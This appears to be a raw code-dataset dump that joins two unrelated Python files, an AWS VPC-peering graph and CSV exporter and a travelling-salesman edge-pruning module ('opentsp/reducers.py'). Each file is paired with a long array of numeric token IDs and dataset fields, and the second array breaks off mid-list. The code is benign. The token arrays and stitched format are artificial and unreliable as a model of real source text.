networkx.draw_networkx(
Graph,
pos,
labels=labeldict,
with_labels=True,
font_size=14,
node_color="#ADD8E6",
edge_color="#808080",
node_size=500,
)
plt.savefig(f"{output_directory}/{vpc}.png")
plt.clf()
Graph.clear()
with open(f"{output_directory}/{vpc}.csv", "w", newline="") as csvfile:
writer = csv.writer(csvfile, delimiter=",")
writer.writerow(
[
"parent_vpc",
"connected_vpc_resource_id",
"connected_vpc_name",
"connected_vpc_resource_region",
"connected_vpc_account_id",
"connected_vpc_account_alias",
"connected_vpc_arn",
"connected_vpc_cidr_block",
"vpc_peering_connection_id",
]
)
for node in nodes:
if node["RESOURCE_ID"] != vpc:
vpc_peering_connection_id = [
edge
for edge in edges
if (
edge["RESOURCE_CONFIG"]["AccepterVpcInfo"]["VpcId"]
== node["RESOURCE_ID"]
or edge["RESOURCE_CONFIG"]["RequesterVpcInfo"]["VpcId"]
== node["RESOURCE_ID"]
)
and (
edge["RESOURCE_CONFIG"]["AccepterVpcInfo"]["VpcId"] == vpc
or edge["RESOURCE_CONFIG"]["RequesterVpcInfo"]["VpcId"] == vpc
)
]
if vpc_peering_connection_id:
vpc_peering_connection_id = vpc_peering_connection_id[0][
"RESOURCE_CONFIG"
]["VpcPeeringConnectionId"]
writer.writerow(
[
vpc,
node["RESOURCE_ID"],
node["RESOURCE_TAGS"].get("Name"),
node["RESOURCE_REGION"],
node["ACCOUNT_ID"],
node["ACCOUNT_ALIAS"],
node["ARN"],
node["RESOURCE_CONFIG"]["CidrBlock"],
vpc_peering_connection_id,
]
)
| [
1,
529,
276,
1112,
420,
29958,
1265,
1287,
567,
29914,
1265,
1287,
276,
4011,
29966,
9507,
29958,
1265,
1287,
276,
4011,
29914,
11303,
29914,
13020,
3481,
9306,
29914,
29963,
6739,
14732,
4598,
29914,
29963,
6739,
14732,
10739,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
11799,
13,
5215,
12183,
13,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
3564,
29916,
13,
13,
13,
1753,
2048,
29918,
4262,
29898,
18010,
29892,
12770,
1125,
13,
1678,
12367,
353,
3564,
29916,
29889,
9527,
580,
13,
1678,
3858,
8977,
353,
6571,
13,
13,
1678,
1819,
353,
731,
580,
13,
1678,
363,
2943,
297,
7573,
29901,
13,
4706,
12367,
29889,
1202,
29918,
3177,
29898,
3177,
3366,
1525,
27839,
4741,
29918,
1367,
20068,
13,
4706,
3858,
29918,
791,
353,
313,
13,
9651,
2943,
3366,
1525,
27839,
4741,
29918,
6040,
10749,
3108,
3366,
1170,
3108,
13,
9651,
565,
376,
1170,
29908,
297,
2943,
3366,
1525,
27839,
4741,
29918,
6040,
10749,
3108,
322,
2943,
3366,
1525,
27839,
4741,
29918,
6040,
10749,
3108,
3366,
1170,
3108,
2804,
5124,
13,
9651,
1683,
2943,
3366,
1525,
27839,
4741,
29918,
1367,
3108,
13,
4706,
1723,
13,
4706,
396,
4386,
4251,
411,
7929,
11073,
29892,
6416,
1627,
988,
4312,
304,
6503,
29918,
333,
13,
4706,
565,
3858,
29918,
791,
297,
1819,
29901,
13,
9651,
396,
565,
278,
995,
338,
263,
868,
412,
29889,
285,
3466,
372,
304,
367,
278,
478,
9026,
6503,
29918,
333,
363,
1716,
13920,
2063,
13,
9651,
3858,
8977,
29961,
3177,
3366,
1525,
27839,
4741,
29918,
1367,
3108,
29962,
353,
2943,
3366,
1525,
27839,
4741,
29918,
1367,
3108,
13,
9651,
363,
1820,
297,
3858,
8977,
29901,
13,
18884,
565,
3858,
8977,
29961,
1989,
29962,
1275,
3858,
29918,
791,
29901,
13,
462,
1678,
3858,
8977,
29961,
1989,
29962,
353,
1820,
13,
4706,
1683,
29901,
13,
9651,
3858,
8977,
29961,
3177,
3366,
1525,
27839,
4741,
29918,
1367,
3108,
29962,
353,
3858,
29918,
791,
13,
9651,
1819,
29889,
1202,
29898,
1643,
29918,
791,
29897,
13,
13,
1678,
396,
4175,
304,
871,
788,
12770,
363,
278,
325,
6739,
297,
1139,
13,
1678,
363,
7636,
297,
12770,
29901,
13,
4706,
12367,
29889,
1202,
29918,
12864,
29898,
13,
9651,
7636,
3366,
1525,
27839,
4741,
29918,
25903,
3108,
3366,
10644,
13300,
357,
29963,
6739,
3401,
3108,
3366,
29963,
6739,
1204,
12436,
13,
9651,
7636,
3366,
1525,
27839,
4741,
29918,
25903,
3108,
3366,
3089,
261,
29963,
6739,
3401,
3108,
3366,
29963,
6739,
1204,
12436,
13,
4706,
1723,
13,
13,
1678,
363,
302,
297,
12367,
29889,
18010,
29901,
13,
4706,
565,
302,
451,
297,
3858,
8977,
29901,
13,
9651,
396,
6368,
1192,
727,
526,
5279,
23533,
886,
304,
478,
9026,
29879,
393,
526,
451,
373,
3377,
287,
411,
365,
815,
1287,
13,
9651,
3858,
8977,
29961,
29876,
29962,
353,
302,
13,
13,
1678,
736,
313,
9527,
29892,
3858,
8977,
29897,
13,
13,
13,
1753,
2048,
29918,
5182,
29918,
29894,
6739,
29918,
4905,
29898,
29894,
6739,
29892,
7573,
29892,
12770,
29892,
1962,
29918,
12322,
1125,
13,
1678,
544,
348,
287,
29918,
3177,
29918,
842,
353,
731,
580,
13,
1678,
12770,
353,
518,
13,
4706,
7636,
13,
4706,
363,
7636,
297,
12770,
13,
4706,
565,
313,
13,
9651,
7636,
29889,
657,
703,
1525,
27839,
4741,
29918,
25903,
1159,
338,
451,
6213,
13,
9651,
322,
7636,
3366,
1525,
27839,
4741,
29918,
25903,
3108,
3366,
10644,
13300,
357,
29963,
6739,
3401,
3108,
3366,
29963,
6739,
1204,
3108,
1275,
325,
6739,
13,
4706,
1723,
13,
4706,
470,
313,
13,
9651,
7636,
29889,
657,
703,
1525,
27839,
4741,
29918,
25903,
1159,
338,
451,
6213,
13,
9651,
322,
7636,
3366,
1525,
27839,
4741,
29918,
25903,
3108,
3366,
3089,
261,
29963,
6739,
3401,
3108,
3366,
29963,
6739,
1204,
3108,
1275,
325,
6739,
13,
4706,
1723,
13,
1678,
4514,
13,
13,
1678,
363,
7636,
297,
12770,
29901,
13,
4706,
544,
348,
287,
29918,
3177,
29918,
842,
29889,
1202,
29898,
12864,
3366,
1525,
27839,
4741,
29918,
25903,
3108,
3366,
10644,
13300,
357,
29963,
6739,
3401,
3108,
3366,
29963,
6739,
1204,
20068,
13,
4706,
544,
348,
287,
29918,
3177,
29918,
842,
29889,
1202,
29898,
12864,
3366,
1525,
27839,
4741,
29918,
25903,
3108,
3366,
3089,
261,
29963,
6739,
3401,
3108,
3366,
29963,
6739,
1204,
20068,
13,
13,
1678,
7573,
353,
518,
3177,
363,
2943,
297,
7573,
565,
2943,
3366,
1525,
27839,
4741,
29918,
1367,
3108,
297,
544,
348,
287,
29918,
3177,
29918,
842,
29962,
13,
13,
1678,
565,
12183,
29889,
4632,
29889,
5563,
1275,
12183,
29889,
18525,
29901,
13,
4706,
12183,
29889,
8382,
29898,
29888,
26732,
29876,
9780,
478,
9026,
29901,
426,
29894,
6739,
27195,
13,
4706,
363,
2943,
297,
7573,
29901,
13,
9651,
565,
2943,
3366,
1525,
27839,
4741,
29918,
1367,
3108,
2804,
325,
6739,
29901,
13,
18884,
12183,
29889,
8382,
29898,
13,
462,
1678,
285,
26732,
29873,
5938,
29901,
426,
3177,
1839,
1525,
27839,
4741,
29918,
1367,
2033,
29913,
426,
3177,
1839,
1525,
27839,
4741,
29918,
18166,
2725,
2033,
29913,
426,
3177,
1839,
2477,
18736,
29918,
1367,
2033,
29913,
426,
3177,
1839,
2477,
18736,
29918,
1964,
29902,
3289,
2033,
29913,
426,
3177,
1839,
15249,
2033,
29913,
426,
3177,
1839,
1525,
27839,
4741,
29918,
25903,
16215,
29907,
333,
29878,
7445,
2033,
5038,
13,
18884,
1723,
13,
13,
1678,
12367,
29892,
3858,
8977,
353,
2048,
29918,
4262,
29898,
18010,
29892,
12770,
29897,
13,
1678,
926,
353,
3564,
29916,
29889,
29895,
314,
1114,
29918,
1335,
29893,
1794,
29918,
2680,
29898,
9527,
29897,
13,
13,
1678,
565,
7431,
29898,
18010,
29897,
529,
29871,
29896,
29900,
29901,
13,
4706,
14770,
29889,
4532,
29898,
1003,
2311,
7607,
29896,
29900,
29892,
29871,
29896,
29900,
511,
270,
1631,
29922,
29896,
29900,
29900,
29897,
13,
4706,
14770,
29889,
29885,
1191,
1144,
29898,
29900,
29889,
29906,
29897,
13,
1678,
25342,
7431,
29898,
18010,
29897,
529,
29871,
29906,
29900,
29901,
13,
4706,
14770,
29889,
4532,
29898,
1003,
2311,
7607,
29906,
29900,
29892,
29871,
29906,
29900,
511,
270,
1631,
29922,
29896,
29945,
29900,
29897,
13,
1678,
25342,
7431,
29898,
18010,
29897,
529,
29871,
29945,
29900,
29901,
13,
4706,
14770,
29889,
4532,
29898,
1003,
2311,
7607,
29906,
29945,
29892,
29871,
29906,
29945,
511,
270,
1631,
29922,
29906,
29900,
29900,
29897,
13,
1678,
25342,
7431,
29898,
18010,
29897,
529,
29871,
29896,
29900,
29900,
29901,
13,
4706,
14770,
29889,
4532,
29898,
1003,
2311,
7607,
29941,
29900,
29892,
29871,
29941,
29900,
511,
270,
1631,
29922,
29906,
29900,
29900,
29897,
13,
1678,
1683,
29901,
13,
4706,
14770,
29889,
4532,
29898,
1003,
2311,
7607,
29945,
29900,
29892,
29871,
29945,
29900,
511,
270,
1631,
29922,
29906,
29900,
29900,
29897,
13,
13,
1678,
3564,
29916,
29889,
4012,
29918,
11618,
29916,
29898,
13,
4706,
12367,
29892,
13,
4706,
926,
29892,
13,
4706,
11073,
29922,
1643,
8977,
29892,
13,
4706,
411,
29918,
21134,
29922,
5574,
29892,
13,
4706,
4079,
29918,
2311,
29922,
29896,
29946,
29892,
13,
4706,
2943,
29918,
2780,
9880,
17744,
29947,
29923,
29953,
613,
13,
4706,
7636,
29918,
2780,
9880,
29947,
29900,
29947,
29900,
29947,
29900,
613,
13,
4706,
2943,
29918,
2311,
29922,
29945,
29900,
29900,
29892,
13,
1678,
1723,
13,
1678,
14770,
29889,
7620,
1003,
29898,
29888,
29908,
29912,
4905,
29918,
12322,
6822,
29912,
29894,
6739,
1836,
2732,
1159,
13,
1678,
14770,
29889,
695,
29888,
580,
13,
1678,
12367,
29889,
8551,
580,
13,
13,
1678,
411,
1722,
29898,
29888,
29908,
29912,
4905,
29918,
12322,
6822,
29912,
29894,
6739,
1836,
7638,
613,
376,
29893,
613,
25899,
543,
1159,
408,
11799,
1445,
29901,
13,
4706,
9227,
353,
11799,
29889,
13236,
29898,
7638,
1445,
29892,
28552,
543,
29892,
1159,
13,
4706,
9227,
29889,
13236,
340,
29898,
13,
9651,
518,
13,
18884,
376,
3560,
29918,
29894,
6739,
613,
13,
18884,
376,
18045,
29918,
29894,
6739,
29918,
10314,
29918,
333,
613,
13,
18884,
376,
18045,
29918,
29894,
6739,
29918,
978,
613,
13,
18884,
376,
18045,
29918,
29894,
6739,
29918,
10314,
29918,
12803,
613,
13,
18884,
376,
18045,
29918,
29894,
6739,
29918,
10149,
29918,
333,
613,
13,
18884,
376,
18045,
29918,
29894,
6739,
29918,
10149,
29918,
19973,
613,
13,
18884,
376,
18045,
29918,
29894,
6739,
29918,
2753,
613,
13,
18884,
376,
18045,
29918,
29894,
6739,
29918,
25232,
29878,
29918,
1271,
613,
13,
18884,
376,
29894,
6739,
29918,
412,
3241,
29918,
9965,
29918,
333,
613,
13,
9651,
4514,
13,
4706,
1723,
13,
4706,
363,
2943,
297,
7573,
29901,
13,
9651,
565,
2943,
3366,
1525,
27839,
4741,
29918,
1367,
3108,
2804,
325,
6739,
29901,
13,
18884,
325,
6739,
29918,
412,
3241,
29918,
9965,
29918,
333,
353,
518,
13,
462,
1678,
7636,
13,
462,
1678,
363,
7636,
297,
12770,
13,
462,
1678,
565,
313,
13,
462,
4706,
7636,
3366,
1525,
27839,
4741,
29918,
25903,
3108,
3366,
10644,
13300,
357,
29963,
6739,
3401,
3108,
3366,
29963,
6739,
1204,
3108,
13,
462,
4706,
1275,
2943,
3366,
1525,
27839,
4741,
29918,
1367,
3108,
13,
462,
4706,
470,
7636,
3366,
1525,
27839,
4741,
29918,
25903,
3108,
3366,
3089,
261,
29963,
6739,
3401,
3108,
3366,
29963,
6739,
1204,
3108,
13,
462,
4706,
1275,
2943,
3366,
1525,
27839,
4741,
29918,
1367,
3108,
13,
462,
1678,
1723,
13,
462,
1678,
322,
313,
13,
462,
4706,
7636,
3366,
1525,
27839,
4741,
29918,
25903,
3108,
3366,
10644,
13300,
357,
29963,
6739,
3401,
3108,
3366,
29963,
6739,
1204,
3108,
1275,
325,
6739,
13,
462,
4706,
470,
7636,
3366,
1525,
27839,
4741,
29918,
25903,
3108,
3366,
3089,
261,
29963,
6739,
3401,
3108,
3366,
29963,
6739,
1204,
3108,
1275,
325,
6739,
13,
462,
1678,
1723,
13,
18884,
4514,
13,
18884,
565,
325,
6739,
29918,
412,
3241,
29918,
9965,
29918,
333,
29901,
13,
462,
1678,
325,
6739,
29918,
412,
3241,
29918,
9965,
29918,
333,
353,
325,
6739,
29918,
412,
3241,
29918,
9965,
29918,
333,
29961,
29900,
3816,
13,
462,
4706,
376,
1525,
27839,
4741,
29918,
25903,
29908,
13,
462,
1678,
4514,
3366,
29963,
6739,
15666,
3241,
5350,
1204,
3108,
13,
13,
18884,
9227,
29889,
13236,
340,
29898,
13,
462,
1678,
518,
13,
462,
4706,
325,
6739,
29892,
13,
462,
4706,
2943,
3366,
1525,
27839,
4741,
29918,
1367,
12436,
13,
462,
4706,
2943,
3366,
1525,
27839,
4741,
29918,
6040,
10749,
16862,
657,
703,
1170,
4968,
13,
462,
4706,
2943,
3366,
1525,
27839,
4741,
29918,
18166,
2725,
12436,
13,
462,
4706,
2943,
3366,
2477,
18736,
29918,
1367,
12436,
13,
462,
4706,
2943,
3366,
2477,
18736,
29918,
1964,
29902,
3289,
12436,
13,
462,
4706,
2943,
3366,
15249,
12436,
13,
462,
4706,
2943,
3366,
1525,
27839,
4741,
29918,
25903,
3108,
3366,
29907,
333,
29878,
7445,
12436,
13,
462,
4706,
325,
6739,
29918,
412,
3241,
29918,
9965,
29918,
333,
29892,
13,
462,
1678,
4514,
13,
18884,
1723,
13,
2
] |
opentsp/reducers.py | james-langbein/OpenTSP | 0 | 61419 | from opentsp import helpers
def diamond_prune(instance):
# def list_prune(ls):
# var = True # may not be needed
# while var is True: # may not be needed
# bad_count = 0 # may not be needed
# semi_pruned_ls = [i for i in ls if i.fitness == 'good'] # may not be needed
# last_good_index = 0
# for index, edge in enumerate(semi_pruned_ls):
# if index == 0 or index == len(semi_pruned_ls) - 1:
# pass
# elif edge.length_ > semi_pruned_ls[last_good_index].length_ \
# or edge.length_ > semi_pruned_ls[index + 1].length_:
# edge.fitness = 'bad'
# # for i in instance.edges.values():
# # if i == edge:
# # i.fitness = 'bad'
# bad_count += 1 # may not be needed
# else:
# last_good_index = index
# if bad_count == 0: # may not be needed
# var = False # may not be needed
# pruned_ls = semi_pruned_ls # may not be needed
# return pruned_ls
#
# def list_prune_v2(ls, n): # changed 'bad' count check to a while loop less than three check, added another test
# loop = 1 # may not be needed
# while loop < n + 1: # may not be needed
# semi_pruned_ls = [i for i in ls if i.fitness == 'good'] # may not be needed
# if len(semi_pruned_ls) <= 2:
# break
# last_good_index = 0
# for index, edge in enumerate(semi_pruned_ls):
# if index == 0 or index == len(semi_pruned_ls) - 1:
# pass
# elif edge.length_ > semi_pruned_ls[last_good_index].length_ or \
# edge.length_ > semi_pruned_ls[index + 1].length_:
# edge.fitness = 'bad'
# else:
# last_good_index = index
# loop += 1
# if len(semi_pruned_ls) == 3:
# if semi_pruned_ls[1].length_ < semi_pruned_ls[0].length_ and \
# semi_pruned_ls[1].length_ < semi_pruned_ls[2].length_:
# if abs(helpers.angle(semi_pruned_ls[1].node_one, semi_pruned_ls[1].node_two,
# semi_pruned_ls[0].node_two)) < \
# abs(helpers.angle(semi_pruned_ls[1].node_one, semi_pruned_ls[1].node_two,
# semi_pruned_ls[2].node_two)):
# del semi_pruned_ls[0]
# else:
# del semi_pruned_ls[2]
# # add an else here in version 3 for when the middle edge is the middle length
# pruned_ls = semi_pruned_ls # may not be needed
# return pruned_ls
#
# def list_prune_v3(ls):
# loop = 1
# while loop < 3:
# # sp_ls stands for semi-pruned-ls
# sp_ls = [i for i in ls if i.fitness == 'good']
# if len(sp_ls) <= 3:
# break
# last_good_index = 0
# for index, edge in enumerate(sp_ls):
# if index == 0 or index == len(sp_ls) - 1:
# pass
# elif edge.length_ > sp_ls[last_good_index].length_ or edge.length_ > sp_ls[index + 1].length_:
# edge.fitness = 'bad'
# # for e in inst.edges.values():
# # if e == edge:
# # e.fitness = 'bad'
# else:
# last_good_index = index
# loop += 1
# if len(sp_ls) == 3:
# ang_to_0 = helpers.angle(sp_ls[1].node_one, sp_ls[1].node_two, sp_ls[0].node_two)
# ang_to_2 = helpers.angle(sp_ls[1].node_one, sp_ls[1].node_two, sp_ls[2].node_two)
# # if middle edge of remaining 3 is the shortest:
# if sp_ls[1].length_ < sp_ls[0].length_ and sp_ls[1].length_ < sp_ls[2].length_:
# # if angle to edge_0 in sp_ls is less then angle to edge_2 in sp_ls:
# if abs(ang_to_0) < abs(ang_to_2):
# del sp_ls[0]
# else:
# del sp_ls[2]
# elif sp_ls[1].length_ > sp_ls[0].length_ or sp_ls[1].length_ > sp_ls[2].length_:
# if abs(ang_to_0) < abs(ang_to_2) and sp_ls[0].length_ < sp_ls[2].length_:
# del sp_ls[1]
# elif abs(ang_to_0) < abs(ang_to_2) and sp_ls[0].length_ > sp_ls[2].length_:
# del sp_ls[0]
# elif abs(ang_to_0) > abs(ang_to_2) and sp_ls[0].length_ > sp_ls[2].length_:
# del sp_ls[1]
# elif abs(ang_to_0) > abs(ang_to_2) and sp_ls[0].length_ < sp_ls[2].length_:
# del sp_ls[2]
# else:
# print('The middle was the shortest but no edge was removed.')
# if len(sp_ls) > 3:
# print(f'The semi-pruned list had more three edges remaining on this iteration.')
# pruned_ls = sp_ls # may not be needed
# return pruned_ls
#
# def list_prune_v4(ls):
# while True:
# # sp_ls stands for semi-pruned-ls
# sp_ls = [i for i in ls if i.fitness == 'good']
# if len(sp_ls) <= 3:
# break
# last_good_index = 0
# for index, edge in enumerate(sp_ls):
# if index == 0 or index == len(sp_ls) - 1:
# pass
# elif edge.length_ > sp_ls[last_good_index].length_ or edge.length_ > sp_ls[index + 1].length_:
# edge.fitness = 'bad'
# # for e in inst.edges.values():
# # if e == edge:
# # e.fitness = 'bad'
# else:
# last_good_index = index
# if len(sp_ls) == 3:
# ang_to_0 = helpers.angle(sp_ls[1].node_one, sp_ls[1].node_two, sp_ls[0].node_two)
# ang_to_2 = helpers.angle(sp_ls[1].node_one, sp_ls[1].node_two, sp_ls[2].node_two)
# # if middle edge is the shortest:
# if sp_ls[1].length_ < sp_ls[0].length_ and sp_ls[1].length_ < sp_ls[2].length_:
# # if angle to edge_0 in sp_ls is less then angle to edge_2 in sp_ls:
# if abs(ang_to_0) < abs(ang_to_2):
# del sp_ls[0]
# else:
# del sp_ls[2]
# # else if middle edge is the middle length:
# elif sp_ls[1].length_ > sp_ls[0].length_ or sp_ls[1].length_ > sp_ls[2].length_:
# # comment what these ifs represent
# if abs(ang_to_0) < abs(ang_to_2) and sp_ls[0].length_ < sp_ls[2].length_:
# del sp_ls[1]
# elif abs(ang_to_0) < abs(ang_to_2) and sp_ls[0].length_ > sp_ls[2].length_:
# del sp_ls[0]
# elif abs(ang_to_0) > abs(ang_to_2) and sp_ls[0].length_ > sp_ls[2].length_:
# del sp_ls[1]
# elif abs(ang_to_0) > abs(ang_to_2) and sp_ls[0].length_ < sp_ls[2].length_:
# del sp_ls[2]
# else:
# print('The middle was the shortest but no edge was removed.')
# if len(sp_ls) > 3:
# print('The semi-pruned list had more three edges remaining on this iteration.')
# elif len(sp_ls) == 2:
# print('The semi-pruned list had two edges remaining on this iteration.')
# pruned_ls = sp_ls # may not be needed
# return pruned_ls
def list_prune_v5(ls):
while True:
# sp_ls stands for semi-pruned-ls
sp_ls = [i for i in ls if i.fitness == 'good']
if len(sp_ls) <= 4:
break
last_good_index = 0
for index, edge in enumerate(sp_ls):
if index == 0 or index == len(sp_ls) - 1:
pass
# if the edge is the middle in length:
elif edge.length_ > sp_ls[last_good_index].length_ or edge.length_ > sp_ls[index + 1].length_:
# print('Calculating angles.')
# if max(abs(sp_ls[last_good_index].angle), abs(sp_ls[index + 1].length)) - \
# min(abs(sp_ls[last_good_index].angle), abs(sp_ls[index + 1].length)) > 120:
edge.fitness = 'bad'
else:
last_good_index = index
if len(sp_ls) == 3:
ang_to_0 = helpers.angle(sp_ls[1].node_one, sp_ls[1].node_two, sp_ls[0].node_two)
ang_to_2 = helpers.angle(sp_ls[1].node_one, sp_ls[1].node_two, sp_ls[2].node_two)
# if middle edge is the shortest:
if sp_ls[1].length_ < sp_ls[0].length_ and sp_ls[1].length_ < sp_ls[2].length_:
# if angle to edge_0 in sp_ls is less then angle to edge_2 in sp_ls:
if abs(ang_to_0) < abs(ang_to_2):
del sp_ls[0]
else:
del sp_ls[2]
# else if middle edge is the middle length:
elif sp_ls[1].length_ > sp_ls[0].length_ or sp_ls[1].length_ > sp_ls[2].length_:
# comment what these ifs represent
if abs(ang_to_0) < abs(ang_to_2) and sp_ls[0].length_ < sp_ls[2].length_:
del sp_ls[1]
elif abs(ang_to_0) < abs(ang_to_2) and sp_ls[0].length_ > sp_ls[2].length_:
del sp_ls[0]
elif abs(ang_to_0) > abs(ang_to_2) and sp_ls[0].length_ > sp_ls[2].length_:
del sp_ls[1]
elif abs(ang_to_0) > abs(ang_to_2) and sp_ls[0].length_ < sp_ls[2].length_:
del sp_ls[2]
else:
print('The middle was the shortest but no edge was removed.')
if len(sp_ls) > 3:
print('The semi-pruned list had more three edges remaining on this iteration.')
elif len(sp_ls) == 2:
print('The semi-pruned list had two edges remaining on this iteration.')
pruned_ls = sp_ls # may not be needed
return pruned_ls
# populate edge angles
# eap_start = time.time()
# edg_count = 0
for edge in instance.edges.values():
# edg_count += 1
# print(f'Populating edge angle: {edg_count}')
edge.angle = helpers.angle(edge.node_one, instance.average_node, edge.node_two)
# eap_end = time.time()
# for each node, list the edges for which it is the origin, and which have good fitness
good_edges = []
# node_count = 0
# pn_start = time.time()
for node in instance.nodes.values():
# node_count += 1
# print(node_count)
ls = [i for i in instance.edges.values() if i.node_one == node]
ls.sort(key=lambda x: x.angle)
# n_start = time.time()
good = list_prune_v5(ls) # prune the list of edges
# n_end = time.time()
# print(f'Time taken for this node: {n_end - n_start}')
# print(instance.edges)
good_edges.extend(good) # this may not be needed...
# pn_end = time.time()
# print(f'Populating edge angles took: {eap_end - eap_start}')
# print(f'Processing the nodes took: {pn_end - pn_start}')
| [
1,
515,
1015,
296,
1028,
1053,
1371,
414,
13,
13,
13,
1753,
11502,
898,
29918,
558,
1540,
29898,
8758,
1125,
13,
13,
1678,
396,
822,
1051,
29918,
558,
1540,
29898,
3137,
1125,
13,
1678,
396,
268,
722,
353,
5852,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
268,
1550,
722,
338,
5852,
29901,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
308,
4319,
29918,
2798,
353,
29871,
29900,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
308,
12647,
29918,
558,
348,
287,
29918,
3137,
353,
518,
29875,
363,
474,
297,
19375,
565,
474,
29889,
9202,
2264,
1275,
525,
16773,
2033,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
308,
1833,
29918,
16773,
29918,
2248,
353,
29871,
29900,
13,
1678,
396,
308,
363,
2380,
29892,
7636,
297,
26985,
29898,
12846,
29875,
29918,
558,
348,
287,
29918,
3137,
1125,
13,
1678,
396,
632,
565,
2380,
1275,
29871,
29900,
470,
2380,
1275,
7431,
29898,
12846,
29875,
29918,
558,
348,
287,
29918,
3137,
29897,
448,
29871,
29896,
29901,
13,
1678,
396,
462,
1209,
13,
1678,
396,
632,
25342,
7636,
29889,
2848,
29918,
1405,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
4230,
29918,
16773,
29918,
2248,
1822,
2848,
29918,
320,
13,
1678,
396,
462,
268,
470,
7636,
29889,
2848,
29918,
1405,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
2248,
718,
29871,
29896,
1822,
2848,
29918,
29901,
13,
1678,
396,
462,
7636,
29889,
9202,
2264,
353,
525,
12313,
29915,
13,
1678,
396,
462,
396,
363,
474,
297,
2777,
29889,
287,
2710,
29889,
5975,
7295,
13,
1678,
396,
462,
396,
268,
565,
474,
1275,
7636,
29901,
13,
1678,
396,
462,
396,
308,
474,
29889,
9202,
2264,
353,
525,
12313,
29915,
13,
1678,
396,
462,
4319,
29918,
2798,
4619,
29871,
29896,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
632,
1683,
29901,
13,
1678,
396,
462,
1833,
29918,
16773,
29918,
2248,
353,
2380,
13,
1678,
396,
308,
565,
4319,
29918,
2798,
1275,
29871,
29900,
29901,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
632,
722,
353,
7700,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
268,
544,
348,
287,
29918,
3137,
353,
12647,
29918,
558,
348,
287,
29918,
3137,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
268,
736,
544,
348,
287,
29918,
3137,
13,
1678,
396,
13,
1678,
396,
822,
1051,
29918,
558,
1540,
29918,
29894,
29906,
29898,
3137,
29892,
302,
1125,
29871,
396,
3939,
525,
12313,
29915,
2302,
1423,
304,
263,
1550,
2425,
3109,
1135,
2211,
1423,
29892,
2715,
1790,
1243,
13,
1678,
396,
268,
2425,
353,
29871,
29896,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
268,
1550,
2425,
529,
302,
718,
29871,
29896,
29901,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
308,
12647,
29918,
558,
348,
287,
29918,
3137,
353,
518,
29875,
363,
474,
297,
19375,
565,
474,
29889,
9202,
2264,
1275,
525,
16773,
2033,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
308,
565,
7431,
29898,
12846,
29875,
29918,
558,
348,
287,
29918,
3137,
29897,
5277,
29871,
29906,
29901,
13,
1678,
396,
632,
2867,
13,
1678,
396,
308,
1833,
29918,
16773,
29918,
2248,
353,
29871,
29900,
13,
1678,
396,
308,
363,
2380,
29892,
7636,
297,
26985,
29898,
12846,
29875,
29918,
558,
348,
287,
29918,
3137,
1125,
13,
1678,
396,
632,
565,
2380,
1275,
29871,
29900,
470,
2380,
1275,
7431,
29898,
12846,
29875,
29918,
558,
348,
287,
29918,
3137,
29897,
448,
29871,
29896,
29901,
13,
1678,
396,
462,
1209,
13,
1678,
396,
632,
25342,
7636,
29889,
2848,
29918,
1405,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
4230,
29918,
16773,
29918,
2248,
1822,
2848,
29918,
470,
320,
13,
1678,
396,
462,
268,
7636,
29889,
2848,
29918,
1405,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
2248,
718,
29871,
29896,
1822,
2848,
29918,
29901,
13,
1678,
396,
462,
7636,
29889,
9202,
2264,
353,
525,
12313,
29915,
13,
1678,
396,
632,
1683,
29901,
13,
1678,
396,
462,
1833,
29918,
16773,
29918,
2248,
353,
2380,
13,
1678,
396,
308,
2425,
4619,
29871,
29896,
13,
1678,
396,
268,
565,
7431,
29898,
12846,
29875,
29918,
558,
348,
287,
29918,
3137,
29897,
1275,
29871,
29941,
29901,
13,
1678,
396,
308,
565,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
529,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
29900,
1822,
2848,
29918,
322,
320,
13,
1678,
396,
462,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
29896,
1822,
2848,
29918,
529,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
29906,
1822,
2848,
29918,
29901,
13,
1678,
396,
632,
565,
6425,
29898,
3952,
6774,
29889,
2521,
29898,
12846,
29875,
29918,
558,
348,
287,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
650,
29892,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
10184,
29892,
13,
1678,
396,
462,
3986,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
29900,
1822,
3177,
29918,
10184,
876,
529,
320,
13,
1678,
396,
462,
268,
6425,
29898,
3952,
6774,
29889,
2521,
29898,
12846,
29875,
29918,
558,
348,
287,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
650,
29892,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
29896,
1822,
3177,
29918,
10184,
29892,
13,
1678,
396,
462,
1669,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
29906,
1822,
3177,
29918,
10184,
22164,
13,
1678,
396,
462,
628,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
29900,
29962,
13,
1678,
396,
632,
1683,
29901,
13,
1678,
396,
462,
628,
12647,
29918,
558,
348,
287,
29918,
3137,
29961,
29906,
29962,
13,
1678,
396,
308,
396,
788,
385,
1683,
1244,
297,
1873,
29871,
29941,
363,
746,
278,
7256,
7636,
338,
278,
7256,
3309,
13,
1678,
396,
268,
544,
348,
287,
29918,
3137,
353,
12647,
29918,
558,
348,
287,
29918,
3137,
29871,
396,
1122,
451,
367,
4312,
13,
1678,
396,
268,
736,
544,
348,
287,
29918,
3137,
13,
1678,
396,
13,
1678,
396,
